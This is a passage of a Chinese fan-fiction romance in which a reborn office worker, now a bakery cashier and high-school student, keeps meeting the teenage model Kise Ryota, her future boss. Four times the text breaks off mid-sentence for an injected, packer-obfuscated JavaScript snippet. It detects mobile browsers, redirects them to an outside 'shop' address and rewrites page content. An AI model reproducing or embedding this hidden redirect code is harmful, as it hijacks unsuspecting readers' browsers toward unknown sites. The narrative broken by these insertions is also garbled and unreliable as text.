《和十年前的黄濑成了恋人》 2. 002 02. 按理说自己重生后不久就见到十年后工作上的上司这件事犯不着如此惊讶,毕竟稍微思考一下也知道这件事发生的概率虽然不大,但也不为零。 本该是这样的,但因为某些原因——具体来说就是,在我重生前,我工作上的这位上司正在追求我,而我为此已经躲了一周……或者说请了一周的假,正是心虚的时候。 所以一看见他,我就回想起我重生前的情况,那种好像被抓包了的心虚感突然就强烈起来。 这也太诡异了吧)。 我低下头解开收银员工作外套,在心里吐槽。 没想到会碰见前上司最主要还是因为十年后我第一次见到黄濑先生是在东京,后面听说也是一直在东京定居,我怎么会想到原来十年前我这位上司其实是在神奈川啊! 都说人在慌张心虚的时候一秒能有八百个假动作,我也不例外。 现在刚过四点,正好是我下班同由美姐交接的时候,于是收拾整理收银柜的动作就成了绝佳的掩护。 拉开收银柜看了里面还剩的钱,瞄一眼黄濑先生,半蹲着从柜台下面摆放的大箱子里摸出包好的硬币,瞄一眼黄濑先生,撕开硬币包外面的包装,随后将硬币放进收银柜对应的位置,瞄一眼…… 我们的视线交汇了。 ‘好,这下真是被抓包了。’ 大脑一片空白,唯有这个念头在脑海中3D环绕式循环。 我赶忙低下头,假装认真放硬币。但其实根本没看进去硬币在哪,眼前一片模糊,思绪也开始胡乱飘起来。 往常这个时间由美姐应该叫我换班的,但今天不知道为什么,直到现在由美姐也没有从后厨出来。 好希望由美姐能立刻跟我换班,让我赶紧下班不用负责结黄濑先生的账啊。 ——好吧,这是不可能的。 我微微垂着视线,灰色的西装出现在视野中。 黄濑凉太将装着面包的手提篮放在了收银台上,紧接着响起的,就是他那独特的声线:“你好,麻烦结个账。” 与之而来的,是他的视线。 “好的,一共1000円。”我将他买的东西一一拿出来分类装好,试图简短快速地完成结账这一过程。 在这个过程中,黄濑凉太的视线一直落在我身上,直到我将袋子装好递给他,他的视线才转移开来。 因为要递给他袋子,我不可避免地终于要抬头,或者说,要看向他。 他从我手中接过袋子,朝我笑了笑,语气轻松:“谢谢啦。”随后一手拎着袋子,一手抄着口袋离开了店里。 我后知后觉地松了口气。 — 碰见黄濑凉太,应该只是个小插曲,我想。 即使回到公寓后我通过搜索了解到他是神奈川人,并且之前就读的还是全国有名的那个帝光中学,我也如此坚信着。 就算我们都在神奈川,也不一定会再次碰上。人与人之间有的时候并没有我们想象的那么容易见到,即使都在一个城市,可有可能出现好几年完全见不到的情况。 就像我的小学同学,在我毕业后绝大多数都没有再见到了。 就这样过了两天……我又一次在店里看见了黄濑凉太。 到底是为什么啊! 我站在收银柜的后面,面无表情地思考人生。 神奈川不止这一家面包店吧!真有这么巧吗!总不能他家就在附近吧? 前两天的场景又一次复现。黄濑凉太站在收银台前,我给他结账。 给自己的前上司以及前追求者结账真是个很诡异的画面,我说真的。可能是我自己心态还没调整过来的缘故,面对十年前的黄濑先生我完全没办法淡定下来。 这一次,在我将袋子推过去交给他的时候,他没有和上次一样接过之后就离开店里,而是往旁边走了点,没有挡着收银的台面,而是站到了电子操作台前。 而且距离我更近了。 “那个……青木小姐,这家店的营业时间是上午九点到晚上八点对吧?”他指了下店门的方向,飞速地瞥了我挂在胸前的铭牌一眼,随后带着微笑问我。 我顺着他的视线看过去,看见了窗外挂在玻璃上的木牌。 那上面确实写了营业时间。 我想起今天他进门前在玻璃窗前凑近看了会儿,当时没仔细看,现在想来他应该是在看这个木牌。 我收回视线回答他:“是的,黄濑先生是有什么需求吗?” “这个啊。其实是这样的,这个星期天在过一条街的那个商场有一场活动要举办。我看到说你们家附近街区可以送外卖,大概在下午三点半左右的话送到那个商场门口的话可以吗?” 他微微弯着腰,脸上露出了“会不会有点麻烦”的表情,一双眼睛注视着我。 又是这样。 十年后我就知道这个人很会运用自己的颜值优势,面对镜头也好还是面对其他人也好,他的表情总是恰如其分地展露,既不用力过猛又让人能明白他的意思。 我原本以为那是在长久的镜头训练中锻炼出来的成果,现在看来这大概是天生的。 面对他这样的神情,大概很少有人会毫不犹豫地拒绝,我自然也是。 我说这件事我做不了主,得问老板,然后快步走到后厨里询问三木叔。在向三木叔简短说明了事情之后,他认为这一单可以做。 于是我又回到收银台前,从抽屉里翻出三木叔说的备忘本和圆珠笔递给黄濑凉太:“那麻烦黄濑先生在这里写一下具体的要求、送达的具体时间和地点,以及您的联系方式和姓名。” 黄濑凉太点点头,接过我手里的笔和纸,四处张望了下,像一只大型的金毛犬,最后伏在收银台旁边的高台上写起来。 片刻后,他将写好的内容递还给我。我粗略地扫了一眼,旋即沉默了。 一大段文字中,最漂亮的就是写着本人名字的那几个字,十分赏心悦目,作为对比的就是上面的一大行文字,虽然很工整,但确实……不太好看。 十年后的黄濑凉太字迹比起现在好一些,看来是有练过的。我颇为哭笑不得地计算了一下金额,将数额报给黄濑凉太。随后就是支付、找钱。 将零钱交给他之后,我本以为这件事大概到此为止了。接下来他应该就要拎着东西离开店了,没想到他却从口袋里摸出手机,在我眼前摇了摇。 “青木小姐,方便的话加个联系方式吗?这样有什么问题的话就可以直接联系了。” — 最后的结果自然是我和他加上了联系方式。 重生前我也和黄濑先生有联系方式,不过那个时候我的工作号和生活号是分开的,一开始我跟他加的都是工作号,后来加的是生活号。 重生回来倒是直接加的生活号,让我颇有些感慨。 不过感慨归感慨,我并没有对此有太多感想……好吧,因为重生前的事情我一开始是有点别扭的,但后面我也慢慢想通了,眼前这个黄濑凉太并不是我的前上司,也并不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17077584|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是前追求者,我应该分开来看。 这样一想,心里也就忽然轻松了。 — 一周的时间说长也长,说短也短,周日很快就到来了。 早上起床的时候我就感觉到有些不对,天空阴沉沉地完全看不到太阳,打开窗户还闻到了翻新的泥土气息。 果不其然,在我出门不久就下起了小雨。等我到了店里,小雨已经转成了中雨。 因为下雨,店里几乎没什么客人,我坐在收银台后面昏昏欲睡。为了不让自己真的睡过去,我开始玩手机。 一打开手机就显示有未读消息。 头像是他本人的自拍照,大咧咧地昭示着发信人是谁。 [黄濑凉太:青木酱,下午的时候外卖麻烦送到西门口,到之前五分钟提前让外卖员打电话提醒我去拿。] 我长按屏幕,将这段话原话转给了三木叔。 很快一个上午就在无聊和偶尔的结账中过去,午休的时候我趴在收银台上眯了会儿,然而在由美姐的摇晃行为和喊声中醒来。 “怎么了?”我困得眼睛都要睁不开,半眯着眼一看发现不仅由美姐在我身边,就连三木叔也从后厨出来了。 三木叔一只手捂着手机,十分和蔼地开口:“那个青木啊,现在有个很严肃的事情。” 我突然有一种不好的预感。 “外卖员说因为雨天路滑,他在路上摔了一跤,现在正在去医院的路上……所以,黄濑君的这份外卖可能得要你送一下了。” 我:“……” 这下我完全清醒了。 我指着自己:“啊,我吗?” 三木叔点头,表情诚恳、面含热泪:“青木啊,我们店你也是知道的……” “……”,我比了个“打住”的手势,满头黑线,“我知道啦知道啦,我来送。” 三木叔开的这个小店,一直没有开通线下外卖的服务,只有客人特别需求才会有送上门的情况发生,所以我们店的外卖员也不是那种平台培养的外卖员,而是一个和三木叔颇有私交的外卖小哥接的私活。 他一倒下,确实是没有人送外卖的。 以前碰到这种情况三木叔都会选择打电话取消订单,因为就他和由美姐两个人,谁也抽不开身去送外卖单,为此也不是没有被顾客投诉或者挂到网上过。 …… 我拎着大包小包的袋子从出租车上下来。 尽管今天下雨,但商场门口依旧有很多人,各色的雨伞雨衣在瓢泼的雨中模糊成了色块。 因为双手都拎着东西,我完全没办法打伞,店里也没有雨衣,所以出店门的时候我把伞放在了袋子里一起拎着,想着这样至少回来的时候能打伞。 雨下得并不小,我刚下车没多久,就感觉自己的肩膀和头发变得湿漉漉的。我眨眨眼,努力在一堆色块中精准找到那抹黄色。 快到商场门口的时候我在车上给黄濑凉太发了消息,他说五分钟内就能到,但我并没有找到他。也许是因为我被黄色的雨伞和雨衣干扰了。 我感受着肩膀的湿润,有些犹豫,不知道自己是不是应该先进商场里,又怕这样会和出来的黄濑凉太错过。 然而这场雨并没有让我犹豫太久——它下得更大了。 我终于决定先进到商场里等他。 在我即将迈开步子的时候,我头上的雨突然停了。 穿戴时尚的高大身影举着伞,出现在我身侧,我讶异地别过脸。 是黄濑凉太。 3. 003 03. 黄濑凉太打着伞出现在我身侧,一手举着雨伞,一手示意我把手上的便利袋交给他。 我将右手拎着的袋子递给他,用力抹了抹脸上的雨水,眼前的世界终于变得清晰许多,不再是色块与色块的碰撞。 因为只有一把伞,我只好紧跟着黄濑凉太一前一后颇有些狼狈地挪到商场大门里。 也是这个过程让我明白为什么我刚才没有在人群中看见他。 商场坐落在十字路口,正对着路口的交汇处是它的大门,但在大门的旁边、拐过去路的另一边,还有一个窄而小的侧门。因为在我的视野盲区,所以我完全没看到。 他刚才就是从这个侧门出来的,现在也带着我从这个侧门进来。 进了门之后,黄濑凉太在我身后收伞,我则是拎着剩下的一部分便利袋,等他拿走赶紧完成我的配送任务。 刚才在外面淋雨的时间还是有些长了,此刻站在商场里,即使是靠近门的地方,也还是吹到了里面的空调风,我忍不住哆嗦了一下。 无论是潮湿腻腻乎乎地贴着脸侧的头发,还是因为湿冷而给身体源源不断传递冷意的上衣,都让我感到十分的不舒服。我唯一庆幸的就是今天出门选择了一件黑色的T恤,而不是浅色的。 我有点迫不及待想要完成这一单,好赶紧回去摆脱这种感觉。在黄濑凉太收好雨伞转身的那一刻,我便提起袋子出声询问:“那个,黄濑先生,剩下来的这部分您看——” 我看见他的脸上露出了有些意外的表情。他的视线飞快地略过我,随后才落到我手上的袋子:“青木小姐把袋子放在一边的地上就好了,一会儿我拎过去就好了……” 我顺着他的话走到墙边弯腰蹲下,将东西小心地放在过道靠墙的地面上,小心不让它倒到地上。 再起身的时候,一件带着温热温度的外套披到了我身上。随之而来的是黄濑先生的声音:“……比起这个,现在你更需要的应该是这个吧?” 外套袖子垂下,我瞥过视线看见上面的橙色花纹,是黄濑凉太刚刚还穿在身上的外套。 我从便利袋里拿出我一早带的雨伞,站起身同黄濑先生道谢。他提醒我路上注意安全,我瓮声瓮气地应下,想要打喷嚏的意愿变得强烈起来,头也没有一开始清醒了。 应该是感冒了,这也在所难免,毕竟今天这种情况确实不好办。我这么想着,强撑着提醒他最好也赶紧进商场。 脱了外套之后,他就只剩下一件棕色的背心,虽然以我对于十年后的黄濑先生的了解来说,他应该不至于这样就会生病,但能减少在冷热交替的环境中多待一会儿是没有坏处的。 — 从帝光中学毕业的这个暑假,黄濑凉太绝大多数时间都在作为模特参加各种活动、拍摄各种照片。 虽然成为模特一开始是姐姐给他报的名,但时至今日确实已经成为他的工作之一,对于各种事情都已经熟悉且得心应手了。 因为他的条件本身就很优秀,加上“奇迹的时代”这方面的噱头,这个暑假他收到的邀约异常的多,与此相伴而来的就是名气的大幅提升。 这也导致了走在路上看过来的视线更加多了。黄濑凉太对此接受倒是良好,也愿意在街上接过粉丝递来的签名纸写下签名。 走进“三师傅的面包店”这家面包店算是一件意外。 第一次听见这家店的名字,是在拍摄的时候。助理姐姐们凑在一起闲聊的话语被他捕捉到,但他没有特别在意。 第二次,则是在家里。姐姐询问了他的拍摄地点,让他下班的时候顺便带一点回去。于是在完成一天的工作之后,他循着地址走进了这家店。 店里很安静,没有播放洋溢的音乐、也没有顾客在吵闹,只有收银的时候那位收银员会出声同顾客交谈一会儿,那就是这家店最大的声源了。 黄濑凉太一进门就注意到了这位收银员。 以及对方时不时瞥过来的、自以为很隐蔽的视线。 这样的视线黄濑凉太感觉到过很多次,从那些粉丝身上。从初中开始,无论是拍摄、还是打篮球,这样的视线都有很多,他已经完全习惯了。 大概又是他的粉丝? 黄濑凉太对着手机上姐姐发给他的清单将需要的面包一一整齐在托盘中放好,走到收银台前。 对方却一改之前偷摸瞄他的作态,始终低着头,直到要将包好的袋子递给他才好像避无可避一样地抬起头,好像他是个什么洪水猛兽。 无论是低头也好,还是微微往后撤的身体姿态,都表面了这个人浑身上下展现着“不想和这个人接触”的情绪。 这不是完全跟前面判若两态度吗?! 黄濑凉太走出店门的时候难得反思了一下自己,也许是他以为错了也说不定。毕竟对方''是他的粉丝’这件事说到底只是他根据自己的猜测随意下的定义,事实可能不是这样。 但就算这样,被当成洪水猛兽躲避还真是自打黄濑凉太成为模特以来头一遭,以至于直到回家了他还有点被打击到。甚至在第二天的工作中提了起来。 当然他并没有讲到自己的经历,而是半开玩笑半装作可怜地跟事务所的助理小姐姐询问自己是不是看上去很凶——然后得到了否定的答案。 于是原本只是一个想不通的事情,现在变成了微妙的在意。 就连姐姐发在INS上的面包摆拍都推送给了他,让他始终没法这事儿完全抛到脑后。 也是因为这件事,黄濑凉太在网上搜索了这家店铺。他这才了解到这家店最近已经成为了某种意义上年轻人之间的潮流话题——或者说年轻女孩之间的潮流。 不仅是因为其面包的口味很有独特的风味,也因为店员是个和她们看起来差不多大的女孩子,让她们很有好感。 又一次工作结束后,事务所给他发了后面几天的行程。黄濑凉太展开纸张浏览了一遍,在里面看见了有些眼熟的地点。 是一家新开的商场……咦,好像距离那家面包店不远? “喂,黄濑!有好好在听我说吗?!”经纪人推了推眼镜咆哮,“听到了就好好应声啊混蛋!” 猝不及防被用力拍后背以至于差点没站稳的黄濑凉太挠挠头打哈哈:“抱歉抱歉。” “真是的,一个两个都不让人省心。”经纪人骂骂咧咧走了。 哈哈。 黄濑凉太面对着离开的经纪人干笑两声。 其实经纪人说的他真的有在听,就是那老几样,所以他简短地开了个小差,没想到就被抓住了。 …… 黄濑凉太又去了一次面包店。 不过这次是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077585|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有正事。 周末在新开不久的商店举办的活动会有不少他的粉丝去现场,但这个活动是从上午开始的,一直举办到晚上,进去需要排队,出来也需要核对身份码,而场所内并没有售卖吃的东西的地方。 之前团队里的工作人员就有在为选择什么吃的东西分发而苦恼,很自然地,黄濑凉太想到了最近在女生中流行的这家面包店。 这也是他这次来的主要目的。 次要目的就是搞明白之前的疑惑了——而他也确实得到了一部分解答。 他没有介绍过自己,对方却很自然地说出了他的名字,所以果然是认识他吧!而且这次虽然比起之前平淡很多了,但果然还是有在想要回避吧? 在店里的这十几分钟,黄濑凉太飞速回顾了自己的前十几年人生,确认自己此前和对方没有交集。 如果有交集的话,他不可能会对她没有印象。 无论是这个名字还是长相,青木绘里花都绝对不属于那种泯然众人的那一类型。 既然没有交集……难道说是因为他有什么黑料? — 那天之后,我果不其然还是感冒了。 三木叔很过意不去,连着几天都缩短了我上班的时间——当然打工的工资并不会减少,反而还上涨了。 对此我欣然接受。 至于那天,因为下雨我得到的那件黄濑先生的衣服……那天在我回到店里之后,三木叔给我放了假,我回家之后将这件外套放到了客厅里。 原本是想着要不要洗一下再还,但等我换完衣服喝了感冒药再去仔细看那件衣服的时候,我才发现这件衣服新过头了—— 新到上面的吊牌都没剪。 我愣了一下,反应过来这大概是那天参加活动准备的衣服,很有可能是品牌方或者是事务所方面准备的,这件衣服唯一在黄濑凉太身上的时候大概只有去接我的那点时间。 在我印象中,十年后的黄濑先生也是这样的,助理会在活动之前提前准备两套或者更多的新衣服备用。私服和活动服装一直都分得很开。 虽然那天我是有点脑袋不清醒,但被披了一件衣服我当时确实有点惊讶。因为十年后我第一次见到黄濑凉太的时候我就知道,他是个面热心冷的人。 跟谁都很聊得来、看起来很热情,但其实心里根本不在意,那种微妙的边界感其实仔细想想是非常清晰的,甚至会让人有一种难以抓住的感觉。 我想了好几种处理衣服的方法,最后还是有些摸不准,只好给黄濑凉太发消息,问他这件衣服他还需不需要,需要的话我什么时候还,以及还之前要不要洗。 隔了差不多有半个小时,我收到了他的回复。 回复中还包含了一个地址。 我对这个地址有着微妙的印象,上网一搜才知道印象的来源。 这是个艺能事务所的分部,总部设立在东京,而这个事务所正是我认识的那个黄濑先生所在的事务所。” 以上,就是我出现在这家事务所门口的原因了。 我对着眼前的地址再三核实,确认自己没有走错。艺能事务所的招牌大字就在我的眼前,而现在是早上七点。 我来还外套了,至于为什么时间这么早…… 为了不耽误我的兼职,只好含泪选择早起了(哭)。 4. 004 04. 对于我这个只有暑假兼职的学生来说,七点就站在事务所的门口确实是非常早的时间了,但对于艺人和艺人背后的团队来说,这个点估计早就开始了工作。 实际上在我没重生之前,我也是这样——作为社畜每天很命苦地早起,并且因为常年这个作息,已经完全习惯而且没觉得有什么问题。 结果重生不到一个月,我就被温暖的被窝“腐蚀”了,再也不能迅速爬起来开始新的一天TAT 我拿出手机对着事务所的标识拍了个照发给黄濑凉太,表示我到了,随后便拎着纸袋从玻璃自动大门走进去。 从大门的外头其实也能看见事务所的一部分装潢以及风格。从门口到前台,几乎都是灰白蓝这三种颜色,虽然有绿植作为点缀,但整体看上去十分的简约商务。 事务所东京的本部跟神奈川这边的风格还真是完全一样,不管是布局还是配色,都如出一辙,到了十年后也完全没改变,以至于既视感十分的强。 就连前台的配置也是。 前台的位置距离大门很近,进去一眼就能看见,十分的突出醒目,有两位年轻女性身着制服坐在前台处接待前来事务所的人员。 台面上立着一个纸质的三角牌,上面用印刷体写着“前台处”。 我向其中一位前台小姐说明了自己的来意,并在她的示意下将纸袋递给她检查里面的物品。 在确认我带来的东西没有任何危险之后,我又填写了一份纸质的表格,然后…… 我从前台小姐那里得到了“黄濑凉太现在应该在三楼的摄影棚里”的回答。 “啊?”我略有些茫然。 从艺人事务所的角度来说,一个陌生的女性突然出现,还带着艺人的衣服说自己和艺人有私交,比起确实出现了这样的情况,更大的可能性一般都是遭遇了私生之类的或者极端粉前来闹事吧? 怎么我还直接得知了黄濑凉太的位置啊?? 我十分震惊。 十年后这家事务所可是和它装潢展现的那样十分的商务干练啊!我可是有见到过这样的实例的!怎么这和我印象中的完全不一样…… 难道说是因为这里是分部吗?还是因为年代不同? 不不不。 不对,重点是我现在好像得要亲自去还这件外套了。 手上的纸品袋瞬间变得烫手起来,一时间竟让我有些手足无措。 老实说,我不太想继续和黄濑凉太接触,原本上网了解到是这家我知道的事务所还让我感到十分高兴,以为自己不用亲自送还到本人手上,只要交到前台就行了。 前台小姐见我站在原地没动,以为是我不知道往哪里走,贴心地站起来为我指出了电梯间的位置。 我带着复杂的情绪向前台简短地道谢,顺着她手指的方向去往电梯间。电梯间也和我记忆中的一样。 上电梯的时候,我点开手机看了眼时间,现在是七点二十五。在我的预想中,本来这个时候我应该能坐上回程的电车,运气好说不定还能再眯一会儿。 现在看来这个计划是泡汤了。 — 摄影棚的位置并不是很难找。 一来是因为拍摄所需要的场地一般不会太小,所以房间自然也会比正常的房间大很多,二来则是因为,我刚出电梯就听到了摄影师那堪称激昂和吵闹的声音。 在一连串怒吼各种人员赶紧到位的语音中夹杂着几句兴奋的英文,什么“perfect”“nice”之类的,诡异地让刚出电梯门的我差点以为自己走错了楼层。 再情绪复杂的人碰到这种动静都会燃起好奇的,吃瓜是人的天性,我那种复杂的心情一下子就烟消云散了,怀着好奇跟着声音来源走到了门前,抬头一看,摄影棚几个字映入眼帘。 门上没有开小窗,我看不到里面的情况,只好拧开一条缝往里揪。 第一眼我看见了正在摆POSE、十分帅气的黄濑凉太,第二眼,则是他身边扭成麻花找角度的摄影师。 我噗嗤一下没忍住,在门外笑了出来。 笑完,我和室内的黄濑凉太以及摄影师先生对上了视线。 我后知后觉地发现,刚刚好像没听到摄影师那吵闹的声音。 换句话说,刚刚其实是安静的。 绝妙的社死感使我一下子僵在了原地,与此相伴而来的是气氛诡异的停滞。我站在半打开的门口,同里头看过来的两位遥遥对视,不知道的还以为我们在拍摄什么情景剧。 而且我们确实在摄影棚里,连地点都不需要脑补。 想到刚刚摄影师的魔音,此刻又看见对方盯着我,眉眼不善,我多少有些心虚。有一些摄影师的脾气是很火爆的,而这位摄影师看起来就很像火爆的。 率先打破这尴尬氛围的是黄濑一如既往元气的声音:“是青木小姐啊,东西的话,放在那边的椅子上就可以了!” 空气重新流动起来,摄影棚又被按下了开始的案件,摄像机咔嚓咔嚓的开门声一时间充斥着这间房间。 那位看过来的摄影师继续着他的工作,并没有再看向我。屋子里的其他人虽然也还有偶尔向这边瞥过来的,但很快也会转回去专心工作。 救大命了黄濑先生。 我松了口气。 他说的椅子是离我最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077586|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的、也是靠后门墙角摆放的一排白色椅子,我轻缓而谨慎地将袋子放在最后一个椅子上。 我本来想,放好之后我就马上离开,但我起身看见却正好无意瞥见了黄濑的POSE。 对我的这位前上司,我的观感一直很复杂。 诚如我所说,我第一次见到他,就明白这个人是个外热内冷的人。 他会跟你嬉皮笑脸、卖萌、撒娇,又或者不着调地打岔、开玩笑或者胡闹,看上去似乎很在乎你这个人,但实际上绝大多数情况下他的心里更趋向于无感。 容易亲近大概是这个人给人最大的错觉,也是他外在的“人设”之一。 而靠近真实的他的那种微妙的、忽即忽离、忽远忽近的特质,在这种静态的拍摄中其实会更加明显地展露。 我第一次拍摄黄濑,拍摄的……或者说捕捉的,就是这样的黄濑。 冷面的、抽离的、遥远的。 我看了会儿黄濑的拍摄。 他在快门声中自如娴熟地切换表情动作,无论什么样的神态都信手拈来。哪怕是摄影师突然要求特定的动作,他也能在看过示例后一次性完美复刻出来。 想要拍摄下来的念头不知道何时悄然升起。 我拿出手机,找准时间连拍了九张图,又在相册中翻来倒去挑选了好一阵,最后留下一张,在联系人中找到黄濑凉太选择发送。 还了这件衣服,想必我同他不会再有什么交集了,拿一张图作为最后的告别语也算是有个终吧。 — 果不其然,在暑假的最后一段日子里,我再也没见到过黄濑凉太。 对话框也停留在我给发的照片那里,他客套热情地回了几句,随后再没有更新过,被新的联系人和消息顶了下去。 这是我意料之中的走向。 没过多久时间就到了九月,我开学了。 因为听说海常高中非常的大,于是开学那一天我早早地就到了学校。 进入校门之后,我发现同我一样的新生们,尤其是女孩子们,十分的激动。而且这种现象越靠近我的班级所在的位置越明显。 我一头雾水。 莫非是今天有什么大人物来了学校吗?还是校领导出现了?或者难道是有什么明星吗? 我拉开班级门,一头黄毛清晰地映入眼帘,往下,是一张才在暑假中见过的脸。 黄濑凉太坐在课桌上,周围的女生将他团团围住,而他则是带着有些歉意有些不好意思的笑容给她们签名。 我的大脑宕机了。 瞳孔地震.JPG 不对)为什么黄濑凉太会在我班上啊!!! 5. 005 05. 暑假的时候我怎么想来着的——哦,“想必我同他不会再有什么交集了”,结果开学了又碰见了,不仅是同校,甚至还是同班。 为了不被班上围在一起的人群挤到,进门后我贴着墙从前门走到后门,再从后门走到靠窗的后排,找了个没有人的位置坐了下来。 这个位置和黄濑凉太所站的位置刚好成视线死角,除非他转头能转一百八十度,否则应该是看不到我的。 我知道作为一个班的同学,不管他现在看得到看不到,之后总归是要认识的,但能拖一会儿是一会儿……更何况我心里其实也还是有那么一点侥幸心理的。 像黄濑凉太这样外热内冷的性子以及他“大明星”的情况,说不定已经完全忘掉我是谁了,或者就算记得也不想和我有什么接触。 如果这样的话那简直再好不过了。 我不太擅长应付他这样的人,重生前不擅长,没道理重生后我就擅长了。 而且这究竟是什么样的孽缘,才能让我重生回来短短的这一个多月的时间里到哪里都能碰上前上司以及追求者。 或许我应该买个彩票看看我的运气……? 对一般人而言,和黄濑凉太这种高人气模特成为同班同学甚至还有联系方式应该是运气很好的事情吧? 要不今天放学的时候先买个彩票再去打工吧。 — 虽然“同班同学是黄濑凉太”这件事在我意料之外,但其他的一切倒是都在按预期发展,没有被打乱。 海常高中虽然被评为“体育强校”,但在文化成绩领域和其他社团开展上也是不上心的。 海常的社团丰富多彩,除了最受人瞩目的篮球部之外,弓道部、排球部等多种运动系社团也是热门选择。 在开学之前我就在社团选择上做了功课。 对于我这种除了骑自行车和散步这两种运动还算比较擅长其他一窍不通的人来说,这些运动系的社团肯定是在选择范围之外的。 我心选的社团主要有两个,一个是新闻部,一个是摄影部。新闻部的主要负责内容是校内的各项活动/考试/比赛的通知以及记者报道,平常与学生会多有联系。摄影部则更追求对于摄影专业方面的追求,偶尔也会与新闻部合作。 再三权衡之下,我选择了摄影部。 一来是因为听闻新闻部每学期都有规定的报道考核,没达到的话下一学期就会被“发配”,竞争激烈;二是据说目前在任的那位部长以严厉出名,十分嘴毒,每次都能呛得人怀疑人生。 而摄影部则是出了名的部员佛系和友好,最重要的是允许有理由地早退。这对我这种放学后还要打工的人来说简直是特别有诱惑力的条件。 开学一周后,社团的申请结果送到了我的手上。我成功加入了摄影部,成为了摄影部新生中的一员。 和我一起成为摄影部新生的同班同学也是个女生,座位距离我仅有两个过道,名字是小仓直美。因为同属一个社团,我很快就与她熟悉起来。 与此同时,因为在入学成绩中我的国语成绩十分优秀,我被老师任命为国语方面的课代表,负责收国语作业。 国语老师向班上宣布这个消息的时候,还特地把我叫到了讲台上,让大家好好地认识我,防止有同学以“不认识课代表”“找不到课代表”之类的理由推迟甚至不交作业。 我人在讲台上,魂在天上飘。全班的目光都向我集中而来,几十双眼睛都盯着我看,这一刻我仿佛拥有了明星般的待遇。 这些视线中,自然也包括黄濑凉太的。 我看见他脸上露出意外和吃惊的表情,夹杂着一点惊喜。随后他托着腮,支着头光明正大地凝视起了我。 即使我并没有刻意地去看他,但在教室那么多人里面,他的存在感就是莫名其妙地比其他人高许多。 哪怕我努力在台上放空自己,虚化的视野中也还是能看见他优越的轮廓和清楚的动作,明明其他人都成了模糊的背景。 我终于忍不住,微微和他对视了几秒。 黄濑凉太有一张池面脸,本来冲击力其实就很强了,然而当他看上去似乎很认真凝视谁的时候,那种冲击力就变得前所未有地强烈起来。 不是一加一等于二,而是一加一等于无限大的那种强。 在我重生前,为黄濑先生拍摄的我曾经很多次见过他注视着我的方向,因为我手上拿着相机,而我们之间隔着厚厚的镜头。 镜头会让他的颜值被无比清晰地展露,但那种被注视的感觉却会被虚化。 而现在、此刻,没有镜头,也没有相机,被注视的感觉便格外明显,也格外让人招架不住。 我的视线只与他相接了几秒,便支撑不住默默偏开,盯着一位同学桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17077587|195279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笔袋,直到老师让我下去,我才松了一口气,感觉整个人都轻松下来。 — 国中毕业后,奇迹的世代的每个人都不约而同选择了不同的体育强校就读,黄濑凉太也不例外,他选择了海常高中。 踏入海常高中走进教室的一路上,看见他的很多人都把目光转向他、议论他。 了解篮球的人在说“啊他就是那个传说的‘奇迹的世代’;不了解篮球的人在说“这个人好高”“他好帅”“咦是不是那个有名的模特”。 当之无愧的校内风云人物。 在国中和高中时期,学生之间八卦、帅哥美女的消息以及和成绩有关的话题总是传播得很快,有一点风吹草动,整个年级不出几天很快就都知道了。 一开始,他听到的最多的私下讨论是“一年三班是不是有那个超有名的模特黄濑凉太?”,对此他并没有在意。 后来,他开始听到另一句,“我记得青木绘里花同学是不是也在一年三班?” 他听到很多个“青木绘里花”,说她入学成绩是排名年级前列,说她不仅成绩好,人也好看,性格也不错,完全就是女神。 青木……绘里花? 很熟悉的名字。黄濑凉太回忆了会儿,从记忆中翻出了熟悉感的来源。 那家店的店员。 原来他们同龄,甚至还是同班。意识到这点之后,他下意识地在班级里寻找熟悉的金发双马尾。 以黄濑凉太作为模特的眼光来看,青木绘里花的长相无疑是非常漂亮的,气质也很特别,如果要用花来形容的话,就像是蝴蝶兰一样。 暑假几面之缘的人竟然成了同班同学本身就是很有缘的情节了,而这个人是青木绘里花,这个之前就对他表现出很奇怪态度的人,这就更是微妙了。 